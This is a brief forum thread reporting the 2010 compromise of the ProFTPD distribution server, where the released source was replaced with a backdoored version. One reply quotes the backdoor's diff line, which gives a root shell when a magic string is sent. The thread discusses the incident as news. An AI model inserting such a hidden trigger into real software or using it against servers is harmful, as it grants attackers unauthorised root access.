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Old 12-02-2010, 08:21 AM   #1
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Exclamation ProFTPD.org Compromised, Backdoor Distributed


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A warning has been issued by the developers of ProFTPD, the popular FTP server software, about a compromise of the main distribution server of the software project that resulted in attackers exchanging the offered source files for ProFTPD 1.3.3c with a version containing a backdoor.
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Thanks to Slashdot for covering this.
 
Old 12-02-2010, 01:07 PM   #2
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"The attackers most likely used an unpatched security issue in the FTP daemon to gain access to the server".
...and that makes the score ProFTPd: 35, VsFTPd 8.

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+      if (strcmp(target, "ACIDBITCHEZ") == 0) { setuid(0); setgid(0); system("/bin/sh;/sbin/sh"); }
 
  


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